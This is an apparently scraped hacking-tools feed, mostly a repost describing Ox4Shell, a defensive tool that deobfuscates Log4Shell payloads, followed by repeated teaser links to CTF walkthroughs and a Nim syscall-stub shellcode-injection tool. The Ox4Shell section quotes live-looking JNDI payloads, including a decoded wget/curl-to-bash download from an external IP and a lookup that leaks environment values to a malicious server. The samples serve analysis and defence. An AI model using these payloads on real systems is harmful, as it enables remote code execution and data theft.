Ox4Shell - Deobfuscate Log4Shell Payloads With Ease
http://www.kitploit.com/2022/08/ox4shell-deobfuscate-log4shell-payloads.html
___________________________
@hacking_Attack
@Hacking_Video
http://www.kitploit.com/2022/08/ox4shell-deobfuscate-log4shell-payloads.html
___________________________
@hacking_Attack
@Hacking_Video
KitPloit - PenTest & Hacking Tools
Ox4Shell - Deobfuscate Log4Shell Payloads With Ease
Deobfuscate Log4Shell payloads with ease. Description Since the release of the Log4Shell vulnerability (https://www.kitploit.com/search/label/Vulnerability) (CVE-2021-44228), many tools were created to obfuscate Log4Shell payloads, making the lives of security engineers a nightmare. This tool intends to unravel the true contents of obfuscated Log4Shell payloads. For example, consider the following obfuscated payload: ${zrch-Q(NGyN-yLkV:-}${j${sm:Eq9QDZ8-xEv54:-ndi}${GLX-MZK13n78y:GW2pQ:-:l}${ckX:2@BH[)]Tmw:a(:-da}${W(d:KSR)ky3:bv78UX2R-5MV:-p:/}/1.${)U:W9y=N:-}${i9yX1[:Z[Ve2=IkT=Z-96:-1.1}${[W*W:w@q.tjyo@-vL7thi26dIeB-HxjP:-.1}:38${Mh:n341x.Xl2L-8rHEeTW*=-lTNkvo:-90/}${sx3-9GTRv:-Cal}c$c${HR-ewA.mQ:g6@jJ:-z}3z${uY)u:7S2)P4ihH:M_S8fanL@AeX-PrW:-]}${S5D4[:qXhUBruo-QMr$1Bd-.=BmV:-}${_wjS:BIY0s:-Y_}p${SBKv-d9$5:-}Wx${Im:ajtV:-}AoL${=6wx-_HRvJK:-P}W${cR.1-lt3$R6R]x7-LomGH90)gAZ:NmYJx:-}h}
After running Ox4Shell, it would transform into an intuitive and readable form: ${jndi:ldap://1.1.1.1:3890/Calc$cz3z]Y_pWxAoLPWh}
This tool also aids to identify and decode (https://www.kitploit.com/search/label/Decode) base64 commands For example, consider the following obfuscated payload: ${jndi:ldap://1.1.1.1:1389/Basic/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA==}
After running Ox4Shell, the tool reveals the attacker’s intentions: ${jndi:ldap://1.1.1.1:1389/Basic/(wget -O - http://185.250.148.157:8005/acc||curl -o - http://185.250.148.157:8005/acc)|/bin/bash
We recommend running Ox4Shell with a provided file (-f) rather than an inline payload (https://www.kitploit.com/search/label/Payload) (-p), because certain shell environments will escape important characters, therefore will yield inaccurate results.Usage To run the tool simply: ~/Ox4Shell » python ox4shell.py --help
usage: ox4shell [-h] [-d] [-m MOCK] [--max-depth MAX_DEPTH] [--decode-base64] (-p PAYLOAD | -f FILE)
____ _ _ _____ _ _ _
/ __ \ | || | / ____| | | | |
| | | |_ _| || || (___ | |__ ___| | |
| | | \ \/ /__ _\___ \| '_ \ / _ \ | |
| |__| |> < | | ____) | | | | __/ | |
\____//_/\_\ |_||_____/|_| |_|\___|_|_|
Ox4Shell - Deobfuscate (https://www.kitploit.com/search/label/Deobfuscate) Log4Shell payloads with ease.
Created by https://oxeye.io
General:
-h, --help Show this help message and exit
-d, --debug Enable debug mode (default: False)
-m MOCK, --mock MOCK The location of the mock data JSON file that replaces certain values in the payload (default: mock.json)
--max-depth MAX_DEPTH
The ma ximum number of iteration to perform on a given payload (default: 150)
--decode-base64 Payloads containing base64 will be decoded (default: False)
Targets:
Choose which target payloads to run Ox4Shell on
-p PAYLOAD, --payload PAYLOAD
A single payload to deobfuscate, make sure to escape '$' signs (default: None)
-f FILE, --file FILE A file containing payloads delimited by newline (default: None)
Mock Data The Log4j library (https://www.kitploit.com/search/label/Library) has a few unique lookup functions, which allow users to look up environment variables, runtime information on the Java process, and so forth. This capability grants threat actors the ability to probe for specific information that can uniquely identify the compromised machine they targeted. Ox4Shell uses the mock.json file to insert common values into certain lookup function, for example, if the payload contains the value ${env:HOME}, we can replace it with a custom mock value. The default set of mock data provided is: {
"hostname": "ip-127.0.0.1",
"env": {
"aws_profile": "staging",
"user": "ubuntu",
"pwd": "/opt/",
___________________________
@hacking_Attack
@Hacking_Video
After running Ox4Shell, it would transform into an intuitive and readable form: ${jndi:ldap://1.1.1.1:3890/Calc$cz3z]Y_pWxAoLPWh}
This tool also aids to identify and decode (https://www.kitploit.com/search/label/Decode) base64 commands For example, consider the following obfuscated payload: ${jndi:ldap://1.1.1.1:1389/Basic/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA==}
After running Ox4Shell, the tool reveals the attacker’s intentions: ${jndi:ldap://1.1.1.1:1389/Basic/(wget -O - http://185.250.148.157:8005/acc||curl -o - http://185.250.148.157:8005/acc)|/bin/bash
We recommend running Ox4Shell with a provided file (-f) rather than an inline payload (https://www.kitploit.com/search/label/Payload) (-p), because certain shell environments will escape important characters, therefore will yield inaccurate results.Usage To run the tool simply: ~/Ox4Shell » python ox4shell.py --help
usage: ox4shell [-h] [-d] [-m MOCK] [--max-depth MAX_DEPTH] [--decode-base64] (-p PAYLOAD | -f FILE)
____ _ _ _____ _ _ _
/ __ \ | || | / ____| | | | |
| | | |_ _| || || (___ | |__ ___| | |
| | | \ \/ /__ _\___ \| '_ \ / _ \ | |
| |__| |> < | | ____) | | | | __/ | |
\____//_/\_\ |_||_____/|_| |_|\___|_|_|
Ox4Shell - Deobfuscate (https://www.kitploit.com/search/label/Deobfuscate) Log4Shell payloads with ease.
Created by https://oxeye.io
General:
-h, --help Show this help message and exit
-d, --debug Enable debug mode (default: False)
-m MOCK, --mock MOCK The location of the mock data JSON file that replaces certain values in the payload (default: mock.json)
--max-depth MAX_DEPTH
The ma ximum number of iteration to perform on a given payload (default: 150)
--decode-base64 Payloads containing base64 will be decoded (default: False)
Targets:
Choose which target payloads to run Ox4Shell on
-p PAYLOAD, --payload PAYLOAD
A single payload to deobfuscate, make sure to escape '$' signs (default: None)
-f FILE, --file FILE A file containing payloads delimited by newline (default: None)
Mock Data The Log4j library (https://www.kitploit.com/search/label/Library) has a few unique lookup functions, which allow users to look up environment variables, runtime information on the Java process, and so forth. This capability grants threat actors the ability to probe for specific information that can uniquely identify the compromised machine they targeted. Ox4Shell uses the mock.json file to insert common values into certain lookup function, for example, if the payload contains the value ${env:HOME}, we can replace it with a custom mock value. The default set of mock data provided is: {
"hostname": "ip-127.0.0.1",
"env": {
"aws_profile": "staging",
"user": "ubuntu",
"pwd": "/opt/",
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
Kitploit – Maintenance in Progress
Kitploit is temporarily under maintenance. We’ll be back shortly with improvements.
"path": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin"
},
"sys": {
"java.version": "16.0.2",
"user.name": "ubuntu"
},
"java": {
"version": "Java version 16.0.2",
"runtime": "OpenJDK Runtime Environment (build 1.8.0_181-b13) from Oracle Corporation",
"vm": "OpenJDK 64-Bit Server VM (build 25.181-b13, mixed mode)",
"os": "Linux 5.10.47-linuxkit unknown, architecture: amd64-64",
"locale": "default locale: en_US, platform encoding: UTF-8",
"hw": "processors: 1, architecture: amd64-64"
}
}
As an example, we can deobfuscate the following payload using the Ox4Shell's mocking capability: > python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}.\${env:AWS_PROFILE}.malicious.server/a}" ${jndi:ldap://16.0.2.staging.malicious.server/a}'>~/Ox4Shell >> python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}.\${env:AWS_PROFILE}.malicious.server/a}"
${jndi:ldap://16.0.2.staging.malicious.server/a} Authors Daniel Abeles (https://twitter.com/Daniel_Abeles) Ron Vider (https://twitter.com/ron_vider) License The source code for the project is licensed under the MIT license, which you can find in the LICENSE file.
Download Ox4Shell (https://github.com/ox-eye/Ox4Shell)
___________________________
@hacking_Attack
@Hacking_Video
},
"sys": {
"java.version": "16.0.2",
"user.name": "ubuntu"
},
"java": {
"version": "Java version 16.0.2",
"runtime": "OpenJDK Runtime Environment (build 1.8.0_181-b13) from Oracle Corporation",
"vm": "OpenJDK 64-Bit Server VM (build 25.181-b13, mixed mode)",
"os": "Linux 5.10.47-linuxkit unknown, architecture: amd64-64",
"locale": "default locale: en_US, platform encoding: UTF-8",
"hw": "processors: 1, architecture: amd64-64"
}
}
As an example, we can deobfuscate the following payload using the Ox4Shell's mocking capability: > python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}.\${env:AWS_PROFILE}.malicious.server/a}" ${jndi:ldap://16.0.2.staging.malicious.server/a}'>~/Ox4Shell >> python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}.\${env:AWS_PROFILE}.malicious.server/a}"
${jndi:ldap://16.0.2.staging.malicious.server/a} Authors Daniel Abeles (https://twitter.com/Daniel_Abeles) Ron Vider (https://twitter.com/ron_vider) License The source code for the project is licensed under the MIT license, which you can find in the LICENSE file.
Download Ox4Shell (https://github.com/ox-eye/Ox4Shell)
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Server Side Template Injections Portswiggers Labs Walkthrough.
https://cdn-images-1.medium.com/max/770/0*_fRGG5ntaNZoj3T9.png
Hi my name is Hashar Mujahid. Today we are going to solve some labs regarding server-side template Injections.
Continue reading on InfoSec Write-ups »
___________________________
@hacking_Attack
@Hacking_Video
Server Side Template Injections Portswiggers Labs Walkthrough.
https://cdn-images-1.medium.com/max/770/0*_fRGG5ntaNZoj3T9.png
Hi my name is Hashar Mujahid. Today we are going to solve some labs regarding server-side template Injections.
Continue reading on InfoSec Write-ups »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Server Side Template Injections Portswiggers Labs Walkthrough.
Hi my name is Hashar Mujahid. Today we are going to solve some labs regarding server-side template Injections.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Advent of Cyber 3 (2021): Day 14 Write-up [TryHackMe]
https://cdn-images-1.medium.com/max/1024/1*8bGr8mEHWcVCycDwFzYIVQ.png
Welcome to another write-up of Advent of Cyber 3.
Continue reading on System Weakness »
___________________________
@hacking_Attack
@Hacking_Video
Advent of Cyber 3 (2021): Day 14 Write-up [TryHackMe]
https://cdn-images-1.medium.com/max/1024/1*8bGr8mEHWcVCycDwFzYIVQ.png
Welcome to another write-up of Advent of Cyber 3.
Continue reading on System Weakness »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Advent of Cyber 3 (2021): Day 14 Write-up [TryHackMe]
Welcome to another write-up of Advent of Cyber 3.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Memcpy wirteup pwnable.kr
https://cdn-images-1.medium.com/max/600/1*SrgWLnjUjuOQQooiRPqYQw.png
Exploit and Solution
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Memcpy wirteup pwnable.kr
https://cdn-images-1.medium.com/max/600/1*SrgWLnjUjuOQQooiRPqYQw.png
Exploit and Solution
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Memcpy writeup pwnable.kr
Exploit and Solution
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Timelapse — HackTheBox WalkThrough
https://cdn-images-1.medium.com/max/723/1*ITANkgHra0kyqICQnMqhdQ.png
This post is regarding an HTB machine named Timelapse.
Continue reading on System Weakness »
___________________________
@hacking_Attack
@Hacking_Video
Timelapse — HackTheBox WalkThrough
https://cdn-images-1.medium.com/max/723/1*ITANkgHra0kyqICQnMqhdQ.png
This post is regarding an HTB machine named Timelapse.
Continue reading on System Weakness »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Timelapse — WalkThrough
This post is regarding an HTB machine named Timelapse.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
What Is Ethical Hacking in 2022 and How Does It Work?
https://cdn-images-1.medium.com/max/1080/0*L5oeN0sJbJHsvmqj
The term “hacker” was coined to describe experts who used their skills to re-develop mainframe systems, increasing their efficiency and…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
What Is Ethical Hacking in 2022 and How Does It Work?
https://cdn-images-1.medium.com/max/1080/0*L5oeN0sJbJHsvmqj
The term “hacker” was coined to describe experts who used their skills to re-develop mainframe systems, increasing their efficiency and…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
What Is Ethical Hacking in 2022 and How Does It Work?
The term “hacker” was coined to describe experts who used their skills to re-develop mainframe systems, increasing their efficiency and…
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
6. How It Works — Finger Vein Biokey Authentication
https://cdn-images-1.medium.com/max/600/1*eDREKypunmd-3EtHylT45A.png
Finger vein recognition is a relatively new method of biometric authentication. Since hemoglobin in the blood absorbs near-infrared lights…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
6. How It Works — Finger Vein Biokey Authentication
https://cdn-images-1.medium.com/max/600/1*eDREKypunmd-3EtHylT45A.png
Finger vein recognition is a relatively new method of biometric authentication. Since hemoglobin in the blood absorbs near-infrared lights…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
6. How It Works — Finger Vein Biokey Authentication
Finger vein recognition is a relatively new method of biometric authentication. Since hemoglobin in the blood absorbs near-infrared lights…
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
5. The Significance of Finger Vein Biokey Technology in Comparison to Existing Security Technology
https://cdn-images-1.medium.com/max/600/1*-V_JKZWvqkcEe_vQbQkp8w.png
The finger vein authentication technology has recently received much attention as a new method for biometric authentication because the…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
5. The Significance of Finger Vein Biokey Technology in Comparison to Existing Security Technology
https://cdn-images-1.medium.com/max/600/1*-V_JKZWvqkcEe_vQbQkp8w.png
The finger vein authentication technology has recently received much attention as a new method for biometric authentication because the…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
5. The Significance of Finger Vein Biokey Technology in Comparison to Existing Security Technology
The finger vein authentication technology has recently received much attention as a new method for biometric authentication because the…
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
NimGetSyscallStub : Get Fresh Syscalls From A Fresh Ntdll.Dll Copy
NimGetSyscallStub, Get fresh Syscalls from a fresh ntdll.dll copy. This code can be used as an alternative to the already published awesome tools NimlineWhispers and NimlineWhispers2 by @ajpc500 or ParallelNimcalls.
The advantage of grabbing Syscalls dynamically is, that the signature of the Stubs is not included in the file and you don’t have to worry about changing Windows versions.
To compile the shellcode execution template run the following:
nim c -d:release ShellcodeInject.nim
The result should look like this:
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjat-K3JsmgPpOThCeSoLAmdkskIIJ8T6MmEqMN8QZyVx9iwFLISFBmlXZNddM1eTwed2hPo-CTQtk_VViTz6sM1XQsfziWaM8aoSEwc-EafnltdHHt1JaWeuJoXnelwZJegqYV4mAKm7tQVnj0-cZYhSeMUnIS3j7CGer9UXd6l7yHjbudlOkb1Su4/s687/PoC.png
Download
___________________________
@hacking_Attack
@Hacking_Video
NimGetSyscallStub : Get Fresh Syscalls From A Fresh Ntdll.Dll Copy
NimGetSyscallStub, Get fresh Syscalls from a fresh ntdll.dll copy. This code can be used as an alternative to the already published awesome tools NimlineWhispers and NimlineWhispers2 by @ajpc500 or ParallelNimcalls.
The advantage of grabbing Syscalls dynamically is, that the signature of the Stubs is not included in the file and you don’t have to worry about changing Windows versions.
To compile the shellcode execution template run the following:
nim c -d:release ShellcodeInject.nim
The result should look like this:
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjat-K3JsmgPpOThCeSoLAmdkskIIJ8T6MmEqMN8QZyVx9iwFLISFBmlXZNddM1eTwed2hPo-CTQtk_VViTz6sM1XQsfziWaM8aoSEwc-EafnltdHHt1JaWeuJoXnelwZJegqYV4mAKm7tQVnj0-cZYhSeMUnIS3j7CGer9UXd6l7yHjbudlOkb1Su4/s687/PoC.png
Download
___________________________
@hacking_Attack
@Hacking_Video
Kali Linux Tutorials
NimGetSyscallStub : Get Fresh Syscalls From A Fresh Ntdll.Dll Copy
NimGetSyscallStub, Get fresh Syscalls from a fresh ntdll.dll copy. This code can be used as an alternative to the already published.